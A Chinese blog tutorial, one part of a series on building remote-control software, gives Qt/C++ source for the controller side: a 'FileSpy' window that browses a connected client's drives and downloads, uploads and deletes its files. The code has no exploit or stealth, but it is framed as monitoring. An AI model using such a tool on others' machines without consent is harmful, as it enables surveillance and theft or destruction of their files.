从零开始做远控 第十篇 文件监控之查找/删除/下载/上传

如果你从没看过这系列教程请点击:从零开始做远控 简介篇


文件监控之查找/删除/下载/上传

这两节主要实现四个功能:文件查找,删除,下载,上传。


效果图:

下载:



上传:



这节主要做服务端:

FileSpy类:
1.首先创建一个基于QWidget的FileSpy类用来做监控。

filespy.h

/*
 *  Author: sumkee911@gmail.com
 *  Date: 2016-12-23
 *  Brief: 从客户端查找文件,删除文件,下载文件,上传文件
 *
 */

#ifndef FILESPY_H
#define FILESPY_H

#include <QWidget>
#include <QLabel>
#include <QApplication>
#include <QDesktopWidget>
#include <QListWidget>
#include "tcpserver.h"
#include "tcpsocket.h"
#include <QMenu>
#include <QDir>
#include <QFileIconProvider>
#include <QMessageBox>
#include "filetransfer.h"

class FileSpy : public QWidget
{
    Q_OBJECT
public:
    explicit FileSpy(QWidget *parent = 0);

    // 服务端向客户端发送的指令(你觉得有需要你也可以增加自己的指令)
    const QByteArray CmdGetDirFiles = "GET_DIRS_FILES";   // 获取路径下的所有文件名和路径名
    const QByteArray CmdDownloadFile = "DOWNLOAD_FILE";   // 服务端从客户也下载文件
    const QByteArray CmdUploadFile = "UPLOAD_FILE";       // 服务端上传文件到客户端
    const QByteArray CmdDeleteFile = "DELETE_FILE";       // 服务端在客户端删除文件

    // 客户端向服务端发送的指令(你觉得有需要你也可以增加自己的指令)
    const QByteArray CmdSendDrives = "SEND_DRIVES";        // 发送盘符
    const QByteArray CmdSendDirs = "SEND_DIRS";            // 发送路径下的所有路径名
    const QByteArray CmdSendFiles = "SEND_FILES";          // 发送路径下的所有文件名
    const QByteArray CmdDeleteFileSuccess = "DELETE_SUCCESS";  // 成功删除文件
    const QByteArray CmdDeleteFileFailed = "DELETE_FAILED";    // 删除文件失败

    // 分割符号和结束符号,比如获取文件夹所有文件命令:FILES<分割符>FILEA<文件分割符>FILEB<文件分割符>FILEC<结束符号>
    const QByteArray CmdSplit = ";";
    const QByteArray CmdEnd = "\r\n";
    const QByteArray CmdFileSplit = "|";

    // 开始监控服务器,然后返回新的端口号
    int startFileSpyServer(QString userName);

private:
    QListWidget *mClientFileList;   // 客户端文件列表
    QListWidget *mServerFileList;   // 本机文件列表
    QMenu *mClientMenu;             // 对客户端列表的操作菜单
    QMenu *mServerMenu;             // 对本机列表的操作菜单
    QDir _curClientDir;      // 当前客户路径
    QDir _curServerDir;      // 当前本机路径
    TcpServer *mServer;     // 文件监控服务端
    TcpSocket *mSock;       // 客户端
    QString _userName;

    // 对列表的操作
    const QByteArray _dirBack = ".."; // 返回上一页
    void addFilesToList(QListWidget *list, QList<QByteArray> strList, QFileIconProvider::IconType iconType);
    QString getCurrentFile(QListWidget *list);
    QList<QByteArray> getLocalDrives();
    QList<QByteArray> getLocalDirs(QDir dir);
    QList<QByteArray> getLocalFiles(QDir dir);

    // 处理指令
    void processCommand(QByteArray &cmd, QByteArray &args);
    // 分解指令的参数,反回哈希表
    QHash<QByteArray, QByteArray> parseArgs(QByteArray &args);
    // 处理相应的指令
    void doSendDrives(QHash<QByteArray, QByteArray> &args);
    void doSendDirs(QHash<QByteArray, QByteArray> &args);
    void doSendFiles(QHash<QByteArray, QByteArray> &args);

signals:

public slots:
    // 加载客户端目录
    void loadClientDir(QListWidgetItem *item);
    // 刷新客户列表
    void refreshClientList();
    // 刷新客户列表
    void refreshClientList(QDir dir);
    // 下载文件
    void downloadFile();
    // 删除文件
    void deleteFile();

    // 加载本机目录
    void loadServerDir(QListWidgetItem *item);
    void loadServerDir(QDir dir);
    // 刷新本机列表
    void refreshServerList();
    // 上传本机文件
    void uploadFile();

    // 有新客户连接
    void newConnection(QTcpSocket *s);
    // 处理新数据
    void processBuffer();

protected:
    // 事件过滤,主要用来截取弹出菜单事件
    bool eventFilter(QObject *watched, QEvent *event);

    // 关闭
    void closeEvent(QCloseEvent *);
};

#endif // FILESPY_H

filespy.cpp

#include "filespy.h"

FileSpy::FileSpy(QWidget *parent) : QWidget(parent), mSock(0)
{
    // 初始化路径
    _curClientDir.setPath("");
    _curServerDir.setPath(QDir::currentPath());

    // 初始化窗口
    const int w = 500, h = 600;
    const int x = (QApplication::desktop()->width() - w) >> 1;
    const int y = (QApplication::desktop()->height() - h) >> 1;
    this->setGeometry(x, y, w, h);
    this->setMinimumSize(w, h);
    this->setMaximumSize(w, h);

    // 设置提示
    QLabel *lbClient = new QLabel("客户端电脑:", this);
    lbClient->setGeometry(10,10,100,20);
    QLabel *lbServer = new QLabel("我的电脑:", this);
    lbServer->setGeometry(10,300,100,30);

    // 设置文件列表
    mClientFileList = new QListWidget(this);
    mClientFileList->setGeometry(10,30,480,260);
    connect(mClientFileList, SIGNAL(itemDoubleClicked(QListWidgetItem*)), this, SLOT(loadClientDir(QListWidgetItem *)));

    mServerFileList = new QListWidget(this);
    mServerFileList->setGeometry(10,330,480,260);
    connect(mServerFileList, SIGNAL(itemDoubleClicked(QListWidgetItem*)), this, SLOT(loadServerDir(QListWidgetItem *)));

    // 客户端列表的操作菜单
    mClientMenu = new QMenu(this);
    QAction *actClientRefresh = mClientMenu->addAction("刷新");
    connect(actClientRefresh,SIGNAL(triggered(bool)), this, SLOT(refreshClientList()));
    QAction *actDownload = mClientMenu->addAction("下载");
    connect(actDownload,SIGNAL(triggered(bool)), this,SLOT(downloadFile()));
    QAction *actDelete = mClientMenu->addAction("删除");
    connect(actDelete, SIGNAL(triggered(bool)), this, SLOT(deleteFile()));

    // 在列表中增加鼠标事件监控,当右击点下时就能弹出菜单
    mClientFileList->installEventFilter(this);

    // 本机列表的操作菜单
    mServerMenu = new QMenu(this);
    QAction *actServerRefresh = mServerMenu->addAction("刷新");
    connect(actServerRefresh,SIGNAL(triggered(bool)), this, SLOT(refreshServerList()));
    QAction *actUpload= mServerMenu->addAction("上传");
    connect(actUpload,SIGNAL(triggered(bool)), this,SLOT(uploadFile()));

    // 在列表中增加鼠标事件监控,当右击点下时就能弹出菜单
    mServerFileList->installEventFilter(this);
}

int FileSpy::startFileSpyServer(QString userName)
{
    // 设置窗口标题
    _userName = userName;
    this->setWindowTitle(userName.append("-文件监控"));

    // 开启新的服务端
    mServer = new TcpServer(this);
    connect(mServer,SIGNAL(newConnection(QTcpSocket*)), this,SLOT(newConnection(QTcpSocket*)));

    mServer->start(0);
    if (!mServer->server()->isListening()) {
        qDebug() << "开启文件监控服务端失败";
        deleteLater();
        return -1;
    }

    // 开启监控窗口
    this->show();

    return mServer->server()->serverPort();
}

void FileSpy::addFilesToList(QListWidget *list, QList<QByteArray> strList, QFileIconProvider::IconType iconType)
{
    foreach (QByteArray bs, strList) {
         QString s = QString::fromLocal8Bit(bs);
        if (s.size() > 0) {
            QListWidgetItem *item = new QListWidgetItem(list);

            // 设置头像
            item->setIcon(QFileIconProvider().icon(iconType));

            // 增加文件到列表
            item->setText(s);
            list->addItem(item);
        }
    }
}

QString FileSpy::getCurrentFile(QListWidget *list)
{
    if (list->currentRow() >= 0) {
        return list->item(list->currentRow())->text();
    }
    return "";
}

QList<QByteArray> FileSpy::getLocalDrives()
{
    // 获取本机盘符
    QFileInfoList fileList = QDir::drives();
    QList<QByteArray> baList;
    foreach(QFileInfo info , fileList) {
        baList.append(info.filePath().toLocal8Bit());
    }
    return baList;
}

QList<QByteArray> FileSpy::getLocalDirs(QDir dir)
{
    // 获取目录下的所有目录
    QList<QByteArray> baList;
    QList<QString> strList = dir.entryList(QDir::Dirs);
    foreach(QString s, strList) {
        if (s!="." && s!="..") {
            baList.append(s.toLocal8Bit());
        }
    }
    return baList;
}

QList<QByteArray> FileSpy::getLocalFiles(QDir dir)
{
    // 获取本机目录下的文件
    QList<QByteArray> baList;
    QList<QString> strList = dir.entryList(QDir::Files);
    foreach(QString s, strList) {
        baList.append(s.toLocal8Bit());
    }
    return baList;
}

void FileSpy::processCommand(QByteArray &cmd, QByteArray &args)
{
    cmd = cmd.toUpper().trimmed();
    QHash<QByteArray, QByteArray> hashArgs = parseArgs(args);

    // 获取所有盘符
    if (cmd == CmdSendDrives) {
        doSendDrives(hashArgs);
        return;
    }

    // 获取客户端目录下的所有目录
    if (cmd == CmdSendDirs) {
        doSendDirs(hashArgs);
        return;
    }

    // 获取客户端目录下的所有文件
    if (cmd == CmdSendFiles) {
        doSendFiles(hashArgs);
        return;
    }

    // 删除文件成功
    if (cmd == CmdDeleteFileSuccess) {
        QMessageBox::information(this, "提示","删除文件成功");
        return;
    }

    // 删除文件失败
    if (cmd == CmdDeleteFileFailed) {
        QMessageBox::warning(this, "提示","删除文件失败");
        return;
    }
}

QHash<QByteArray, QByteArray> FileSpy::parseArgs(QByteArray &args)
{
    QList<QByteArray> listArgs = args.split(CmdSplit[0]);

    // 分解参数,然后把它加入哈希表
    QHash<QByteArray, QByteArray> hashArgs;
    for(int i=0; i<listArgs.length()-1 ; i+=2) {
        hashArgs.insert(listArgs[i].toUpper().trimmed(),
                        listArgs[i+1].trimmed());
    }

    return hashArgs;
}

void FileSpy::doSendDrives(QHash<QByteArray, QByteArray> &args)
{
    // 重设路径
    _curClientDir.setPath("");

    // 清空列表
    mClientFileList->clear();

    // 打印到列表上
    QList<QByteArray> strList = args["DRIVES"].split(CmdFileSplit[0]);
    addFilesToList(mClientFileList, strList, QFileIconProvider::Drive);
}

void FileSpy::doSendDirs(QHash<QByteArray, QByteArray> &args)
{
    // 重设路径
    _curClientDir.setPath(QString::fromLocal8Bit(args["DIR"]));

    // 清空列表
    mClientFileList->clear();

    // 打印到列表上
    QList<QByteArray> strList = args["DIRS"].split(CmdFileSplit[0]);

    // 返回上一页名字
    strList.push_front(_dirBack);

    addFilesToList(mClientFileList, strList, QFileIconProvider::Folder);
}

void FileSpy::doSendFiles(QHash<QByteArray, QByteArray> &args)
{
    // 打印到列表上
    QList<QByteArray> strList = args["FILES"].split(CmdFileSplit[0]);
    addFilesToList(mClientFileList, strList, QFileIconProvider::File);
}

void FileSpy::loadClientDir(QListWidgetItem *item)
{
    // 双击后加载新文件夹
    QDir dir = _curClientDir;
    dir.cd(item->text());

    if (dir == _curClientDir) {
        dir.setPath("");
        _curClientDir.setPath("");
    }

    refreshClientList(dir);
}

void FileSpy::refreshClientList()
{
    if (mSock) {
        // 获取当前路径下的所有文件
        QString data;
        data.append(CmdGetDirFiles+CmdSplit);
        data.append("DIR"+CmdSplit+_curClientDir.absolutePath());
        data.append(CmdEnd);
        mSock->write(data.toLocal8Bit());
    }
}

void FileSpy::refreshClientList(QDir dir)
{
    if (mSock) {
        // 获取当前路径下的所有文件
        QString data;
        data.append(CmdGetDirFiles+CmdSplit);
        data.append("DIR"+CmdSplit+dir.absolutePath());
        data.append(CmdEnd);
        mSock->write(data.toLocal8Bit());
    }
}

void FileSpy::downloadFile()
{
    QString fileName = getCurrentFile(mClientFileList);
    if (mSock) {
        // 开始接收文件
        QDir serverDir = _curServerDir.absoluteFilePath(fileName);
        QDir clientDir = _curClientDir.absoluteFilePath(fileName);
        FileTransfer *ft = new FileTransfer();
        int port = ft->startRecvFileServer(_userName,serverDir.path());

        if (port != -1) {
            // 发送下载命令
            QString data;
            data.append(CmdDownloadFile+CmdSplit);
            data.append("FILE_PATH"+CmdSplit+clientDir.path()+CmdSplit);
            data.append("PORT"+CmdSplit+QString::number(port));
            data.append(CmdEnd);
            mSock->write(data.toLocal8Bit());
        }
    }
}

void FileSpy::deleteFile()
{
    if (mSock) {
        // 删除当前文件
        QString file = getCurrentFile(mClientFileList);
        if (file.size() > 0) {
            QString path = _curClientDir.absoluteFilePath(file);
            qDebug() << path;

            // 发送数据
            QString data;
            data.append(CmdDeleteFile+CmdSplit);
            data.append("FILE_PATH"+CmdSplit+path);
            data.append(CmdEnd);
            mSock->write(data.toLocal8Bit());

            // 刷新列表
            refreshClientList();
        }
    }
}

void FileSpy::loadServerDir(QListWidgetItem *item)
{
    // 双击后加载新文件夹
    QDir dir = _curServerDir;
    dir.cd(item->text());

    if (dir == _curServerDir) {
        dir.setPath("");
    }
    _curServerDir = dir;

    loadServerDir(dir);
}

void FileSpy::loadServerDir(QDir dir)
{
    if (dir.path() == "") {
        // 获取盘符
        QList<QByteArray> driveList = getLocalDrives();

        // 清空列表
        mServerFileList->clear();

        addFilesToList(mServerFileList, driveList, QFileIconProvider::Drive);
    } else {
        // 获取路径
        QList<QByteArray> dirList = getLocalDirs(dir);

        // 获取文件
        QList<QByteArray> fileList = getLocalFiles(dir);

        // 清空列表
        mServerFileList->clear();

        dirList.push_front(_dirBack);
        addFilesToList(mServerFileList, dirList, QFileIconProvider::Folder);
        addFilesToList(mServerFileList, fileList, QFileIconProvider::File);
    }
}

void FileSpy::refreshServerList()
{
    loadServerDir(_curServerDir);
}

void FileSpy::uploadFile()
{
    QString fileName = getCurrentFile(mServerFileList);
    if (mSock && fileName.size() > 0) {
        // 开始接收文件
        QDir serverDir = _curServerDir.absoluteFilePath(fileName);
        QDir clientDir = _curClientDir.absoluteFilePath(fileName);
        FileTransfer *ft = new FileTransfer();
        int port = ft->startSendFileServer(_userName,serverDir.path());

        if (port != -1) {
            // 发送下载命令
            QString data;
            data.append(CmdUploadFile+CmdSplit);
            data.append("FILE_PATH"+CmdSplit+clientDir.path()+CmdSplit);
            data.append("PORT"+CmdSplit+QString::number(port));
            data.append(CmdEnd);
            mSock->write(data.toLocal8Bit());
        }
    }
}

void FileSpy::newConnection(QTcpSocket *s)
{
    // 新增客户
    mSock = new TcpSocket(s, this);
    connect(mSock,SIGNAL(newData()), this, SLOT(processBuffer()));
    connect(mSock, SIGNAL(disconnected()), this, SLOT(deleteLater()));

    // 获取客户端盘符
    refreshClientList();

    // 获取本机当前目录
    refreshServerList();

    // 不再监听新客户
    mServer->server()->close();
}

void FileSpy::processBuffer()
{
    // 从socket里获取缓存区
    QByteArray *buf = mSock->buffer();

    int endIndex;
    while ((endIndex = buf->indexOf(CmdEnd)) > -1) {
        // 提取一行指令
        QByteArray data = buf->mid(0, endIndex);
        buf->remove(0, endIndex + CmdEnd.length());

        // 提取指令和参数
        QByteArray cmd, args;
        int argIndex = data.indexOf(CmdSplit);
        if (argIndex == -1) {
            cmd = data;
        } else {
            cmd = data.mid(0, argIndex);
            args = data.mid(argIndex+CmdSplit.length(), data.length());
        }

        // 处理指令
        processCommand(cmd, args);
    }
}

bool FileSpy::eventFilter(QObject *watched, QEvent *event)
{
    // 右键弹出菜单
    if (watched == (QObject*)mClientFileList) {
        if (event->type() == QEvent::ContextMenu) {
            mClientMenu->exec(QCursor::pos());
        }
    } else if (watched==(QObject*)mServerFileList) {
        if (event->type() == QEvent::ContextMenu) {
            mServerMenu->exec(QCursor::pos());
        }
    }

    return QObject::eventFilter(watched, event);
}

void FileSpy::closeEvent(QCloseEvent *)
{
    // 删除窗口
    deleteLater();
}

FileTransfer类:

1.创建一个基于QObject得FileTransfer类来做文件发收

filetransfer.h

/*
 *  Author: sumkee911@gmail.com
 *  Date: 2016-12-24
 *  Brief: 用于文件的传送或接收
 *
 */




#ifndef FILETRANSFER_H
#define FILETRANSFER_H


#include <QObject>
#include <QProgressDialog>
#include "tcpserver.h"
#include "tcpsocket.h"
#include <QFile>
#include <QDir>


class FileTransfer : public QObject
{
    Q_OBJECT
public:
    explicit FileTransfer(QObject *parent = 0);


    // 文件数据包头
    typedef struct {
        char fileName[256];
        unsigned int len;
    } FileHeader;


    // 开始文件接收服务器,然后返回新的端口号
    int startRecvFileServer(QString userName, QString filePath);


    // 开始文件传送服务器,然后返回新的端口号
    int startSendFileServer(QString userName, QString filePath);


private:
    QProgressDialog *mProgress; // 进度条窗口
    TcpServer *mServer;     // 服务端
    TcpSocket *mSock;     // 客户端
    QFile mFile;        // 文件
    FileHeader mHeader; // 文件头
    unsigned int _curWritten;       // 已经写入数据


signals:


public slots:
    void close();


    // 用户连接
    void newRecvFileConnection(QTcpSocket *);
    void newSendFileConnection(QTcpSocket *);


    // 接收文件数据
    void recvData();


    // 发送数据
    void sendData();
};


#endif // FILETRANSFER_H

filetransfer.cpp

#include "filetransfer.h"

FileTransfer::FileTransfer(QObject *parent) : QObject(parent)
{
    // 初始化
    mHeader.len = 0;
}

int FileTransfer::startRecvFileServer(QString userName, QString filePath)
{
    // 打开文件
    mFile.setFileName(filePath);
    if (!mFile.open(QFile::WriteOnly)) {
        return -1;
    }

    // 开启新的服务端
    mServer = new TcpServer(this);
    connect(mServer,SIGNAL(newConnection(QTcpSocket*)), this,SLOT(newRecvFileConnection(QTcpSocket*)));

    mServer->start(0);
    if (!mServer->server()->isListening()) {
        qDebug() << "开启文件接收服务端失败";
        deleteLater();
        return -1;
    }

    // 开启进度条窗口
    mProgress = new QProgressDialog();
    mProgress->setWindowTitle(QString("从%0客户下载到%1").arg(userName).arg(filePath));
    mProgress->open(this, SLOT(close()));
    mProgress->setMinimumSize(500,mProgress->height());

    return mServer->server()->serverPort();
}

int FileTransfer::startSendFileServer(QString userName, QString filePath)
{
    // 打开文件
    mFile.setFileName(filePath);
    if (!mFile.open(QFile::ReadOnly)) {
        return -1;
    }

    // 开启新的服务端
    mServer = new TcpServer(this);
    connect(mServer,SIGNAL(newConnection(QTcpSocket*)), this,SLOT(newSendFileConnection(QTcpSocket*)));

    mServer->start(0);
    if (!mServer->server()->isListening()) {
        qDebug() << "开启文件传送服务端失败";
        deleteLater();
        return -1;
    }

     // 开启进度条窗口
    mProgress = new QProgressDialog();
    mProgress->setWindowTitle(QString("上传文件%0到%1客户").arg(filePath).arg(userName));
    mProgress->setMinimumSize(500,mProgress->height());
    mProgress->open(this, SLOT(close()));

    return mServer->server()->serverPort();
}

void FileTransfer::close()
{
    // 释放
    mProgress->deleteLater();
    deleteLater();
    mFile.close();
}

void FileTransfer::newRecvFileConnection(QTcpSocket *socket)
{
    // 新增客户
    mSock = new TcpSocket(socket, this);
    connect(mSock,SIGNAL(newData()), this, SLOT(recvData()));
    connect(mSock, SIGNAL(disconnected()), this, SLOT(close()));

    // 不再监听新客户
    mServer->server()->close();
}

void FileTransfer::newSendFileConnection(QTcpSocket *socket)
{
    // 新增客户
    mSock = new TcpSocket(socket, this);
    connect(mSock, SIGNAL(disconnected()), this, SLOT(close()));

    // 开始传送
    sendData();

    // 不再监听新客户
    mServer->server()->close();
}

void FileTransfer::recvData()
{
    QByteArray *buf = mSock->buffer();
    // 读取头
    if (mHeader.len == 0) {
        if ((unsigned int)buf->size() >= sizeof(FileHeader)) {
            memcpy(&mHeader, buf->data(), sizeof(FileHeader));
            buf->remove(0, sizeof(FileHeader));

            // 当前写入清零
            _curWritten = 0;

            // 设置进度条
            mProgress->setRange(0, mHeader.len);
        }
    }

    if (mHeader.len > 0 && buf->size() > 0) {
        // 增加已写入数据
        _curWritten += buf->size();

        // 写数据到文件里
        mFile.write(buf->data(), buf->size());
        mFile.flush();
        buf->clear();

        // 更新进度条
        mProgress->setValue(_curWritten);
    }

    // 如果已经完成就退出
    if (_curWritten >= mHeader.len) {
        close();
    }
}

void FileTransfer::sendData()
{
    // 发送文件数据
    unsigned int len = mFile.size();
    unsigned int pos = 0;
    unsigned int packetSize = 800;

    // 设置进度条范围
    mProgress->setRange(0, len);

    while (pos < len) {
        int sendSize = pos+packetSize < len ? packetSize : len-pos;
        QByteArray data = mFile.read(sendSize);

        // 发送
        mSock->write(data);

        pos += sendSize;

        // 设置进度条当前位置
        mProgress->setValue(pos);

    }

    // 完成
    close();
}


大致和屏幕监控那节一样,请按这里下载本节完整代码:

下载

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值